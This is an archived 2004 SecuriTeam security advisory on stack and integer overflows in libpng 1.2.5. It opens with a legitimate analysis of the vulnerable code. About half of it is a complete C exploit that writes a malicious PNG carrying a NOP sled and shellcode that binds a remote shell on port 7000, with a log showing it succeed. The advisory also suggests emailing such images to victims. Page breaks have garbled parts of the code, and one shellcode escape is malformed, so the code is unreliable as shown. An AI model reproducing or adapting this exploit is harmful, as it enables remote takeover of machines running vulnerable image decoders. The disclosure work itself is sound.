

Securiteam: [UNIX] libPNG Stack-Based Buffer Overflow and Other Code Concerns (Exploit)

# [UNIX] libPNG Stack-Based Buffer Overflow and Other Code Concerns (Exploit)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0041.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 08/12/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 12 Aug 2004 14:05:55 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

libPNG Stack-Based Buffer Overflow and Other Code Concerns (Exploit)

---

## SUMMARY

<<http://www.libpng.org/pub/png/libpng.html>> libpng is "the official PNG reference library". This advisory lists code flaws discovered by inspection of the libpng code. Only the first one has been examined in practice to confirm exploitability. The other flaws certainly warrant fixing.

## DETAILS

Vulnerable Systems:

\* libpng version 1.2.5 and prior

Immune Systems:

\* libpng version 1.2.6rc5 or newer

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0597>>

CAN-2004-0597,

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0598>>

CAN-2004-0598, and

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0599>>  
CAN-2004-0599

1) Remotely exploitable stack-based buffer overrun in png\_handle\_tRNS (pngutil.c)

If a PNG file is of the correct format, a length check on PNG data is missed prior to filling a buffer on the stack from the PNG data. The exact flaw would seem to be a logic error; failure to bail out of a function after a warning condition is hit, here:

```
if (!(png_ptr->mode & PNG_HAVE_PLTE))
{
    /* Should be an error, but we can cope with it */
    png_warning(png_ptr, "Missing PLTE before tRNS");
}
else if (length > (png_uint_32)png_ptr->num_palette)
{
    png_warning(png_ptr, "Incorrect tRNS chunk length");
    png_crc_finish(png_ptr, length);
    return;
}
```

We can see, if the first warning condition is hit, the length check is missed due to the use of an "else if".

A PNG crafted to trip this is available at:

<[http://scary.beasts.org/misc/pngtest\\_bad.png](http://scary.beasts.org/misc/pngtest_bad.png)>  
[http://scary.beasts.org/misc/pngtest\\_bad.png](http://scary.beasts.org/misc/pngtest_bad.png)

It crashes both Mozilla and Konqueror. A scarier possibility is targeted exploitation by e-mailing a nasty PNG to someone who uses a graphical e-mail client to decode PNGs with a vulnerable libpng.

2) Dangerous code in png\_handle\_sBIT (pngutil.c) (Similar code in png\_handle\_hIST)

Although seemingly not exploitable, there is dangerous code in this function. It relies on checks scattered elsewhere in the code in order to not overflow a 4-byte stack buffer. This line here should upper-bound the read onto the stack to 4 bytes:

```
png_crc_read(png_ptr, buf, truelen);
```

3) Possible NULL-pointer crash in png\_handle\_iCCP (pngutil.c) (this flaw is duplicated in multiple other locations)

There are lots of lines such as these in the code:

```
chunkdata = (png_charp)png_malloc(png_ptr, length + 1);
```

Where "length" comes from the PNG. If length is set to UINT\_MAX then length + 1 will equate to zero, leading to the PNG malloc routines to

## Securiteam: [UNIX] libPNG Stack-Based Buffer Overflow and Other Code Concerns (Exploit)

return NULL and subsequent access to crash. These lengths are sometimes checked to ensure they are smaller than INT\_MAX, but it is not clear that all code paths perform this check, i.e. png\_push\_read\_chunk in pngpread.c does not do this check (this is progressive reading mode as used by browsers).

### 4) Theoretical integer overflow in allocation in png\_handle\_sPLT (pngutil.c)

This isn't likely to cause problems in practice, but there's the possibility of an integer overflow during this allocation:

```
<I? new_palette.entries = (png_sPLT_entryp)png_malloc(
    png_ptr, new_palette.nentries * sizeof(png_sPLT_entry));
```

### 5) Integer overflow in png\_read\_png (pngread.c)

A PNG with excessive height may cause an integer overflow on a memory allocation and subsequent crash allocating row pointers. This line is possibly faulty; Chris can't see anywhere that enforces a maximum PNG height:

```
info_ptr->row_pointers = (png_bytepp)png_malloc(png_ptr,
    info_ptr->height * sizeof(png_bytep));
```

### 6) Integer overflows during progressive reading

There are many lines like the following, which are prone to integer overflow:

```
if (png_ptr->push_length + 4 > png_ptr->buffer_size)
```

It is not clear how dangerous this is.

### 7) Other flaws

There is broad potential for other integer overflows that Chris has not spotted – the amount of integer arithmetic surrounding buffer handling is large, unfortunately.

### Exploit:

```
/*
 * exploit for libpng, tested on version 1.2.5
 * infamous42md AT hotpop DOT com
 *
 * shouts to mitakeet (hope u patched :D)
 *
 * [n00b_at_localho.outernet] ./po
 * Usage: ./po <retaddr > [ outfile ]
 *
 * –all u need to give is retaddr, the default file it creates is
controlled by
 * the define below, or u can pass a diff outfile name on the command
line.
 * the output is not an entire png, just enough to trigger the bug. i've
```

## Securiteam: [UNIX] libPNG Stack-Based Buffer Overflow and Other Code Concerns (Exploit)

also

```
* included a simple program to test with.
*
* [n00b_at_localho.outernet] netstat -ant | grep 7000
* [n00b_at_localho.outernet] gcc pnouch.c -Wall -o po
* [n00b_at_localho.outernet] gcc pngslap.c -o slapped -lz -lm
lib/libpng12.so
* [n00b_at_localho.outernet] ./po 0xbffff8b0
* [n00b_at_localho.outernet] ./slapped britnay_spares_pr0n.png
* libpng warning: Missing PLTE before tRNS
* libpng warning: tRNS: CRC error
* [n00b_at_localho.outernet] netstat -ant | grep 7000
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#define OUTFILE "britnay_spares_pr0n.png"
#define BS 0x1000
#define ALIGN 0
#define NOP 0x90
#define NNOPS 100
#define RETADDR_BYTES 300

#define die(x) do{ perror((x)); exit(EXIT_FAILURE);}while(0)

/* identifies a file as a png */
#define MAJIC_LEN sizeof(png_majic)
u_char png_majic[] = { 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a };

/*
* appears first, gives len/width/etc. important part is setting the color
type
* to 0x03, byte 10 of the IHDR data. that signifies that a PALLETE chunk
should
* be present. but we dont have one, and that is how the len check is
bypassed.
* the chunk len includes only the data, not the len field itself, or the
id, or
* the crc at the end. these bytes are stolen from the advisory.
*/
```

## Securiteam: [UNIX] libPNG Stack-Based Buffer Overflow and Other Code Concerns (Exploit)

```
#define IHDR_LEN sizeof(png_ihdr)
u_char png_ihdr[] = { 0x00, 0x00, 0x00, 0x0d, /* chunk len */
                    0x49, 0x48, 0x44, 0x52, /* chunk id */
                    0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x45,
                    0x08, 0x03, 0x00, 0x00, 0x01,
                    0x65, 0x33, 0x5a, 0xd6 /* chunk crc */
};

/*
 * this is the tRNS type chunk, this is the evil chunk that actually
 contains
 * the shellcode.
 */
#define TRNS_LEN sizeof(png_trns_len_id)
u_char png_trns_len_id[] = { 0x00, 0x00, 0x00, 0x00, /* chunk len filled
in*/
                            0x74, 0x52, 0x4e, 0x53 /* chunk id */
                            /* begin chunk data */
                            /* retaddr, NOPS, shellcode, CRC will follow */
};

/* call them shell code */
#define SHELL_LEN strlen(sc)
char sc[] =
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89xeb\x31\xc9\xb0\x3f\xcd\x80"
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
    int fd = 0, len = 0, x = 0, chunk_len = 0;
    char *filename = OUTFILE;
    u_char buf[BS];
    u_long retaddr = 0;

    if(argc < 2){
        fprintf(stderr, "Usage: %s <retaddr> [ outfile ]\n", argv[0]);
        return EXIT_FAILURE;
    }
}
```

## Securiteam: [UNIX] libPNG Stack-Based Buffer Overflow and Other Code Concerns (Exploit)

```
}
if(argc > 2)
    filename = argv[2];

memset(buf, 0, BS);
sscanf(argv[1], "%lx", &retaddr);

/* create buffer:
 * png id - png ihdr - png trns - retaddr - NOPS - shell - crc(don't
need)
 */
memcpy(buf, png_majic, MAJIC_LEN);
len += MAJIC_LEN;
memcpy(buf+len, png_ihdr, IHDR_LEN);
len += IHDR_LEN;
memcpy(buf+len, png_trns_len_id, TRNS_LEN);
len += TRNS_LEN;

for(x = 0; x < RETADDR_BYTES-3; x += 4)
    memcpy(buf+len+x*ALIGN, &retaddr, sizeof(retaddr));
x += ALIGN;
len += x;
memset(buf+len, NOP, NNOPS);
len += NNOPS;
memcpy(buf+len, sc, SHELL_LEN);
len += SHELL_LEN;

/* length of chunk data */
chunk_len = x + NNOPS + SHELL_LEN;
*(u_long*)(buf+MAJIC_LEN+IHDR_LEN) = htonl(chunk_len);

/* include the crc */
len += sizeof(u_long);

/* create the file */
if( (fd = open(filename, O_WRONLY|O_CREAT|O_EXCL, 0666)) < 0)
    die("open");
if(write(fd, buf, len) != len)
    die("write");
close(fd);

return 0;
}
```

### ADDITIONAL INFORMATION

Securiteam: [UNIX] libPNG Stack-Based Buffer Overflow and Other Code Concerns (Exploit)

The information has been provided by <mailto:chris@SCARY.BEASTS.ORG>  
Chris Evans.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.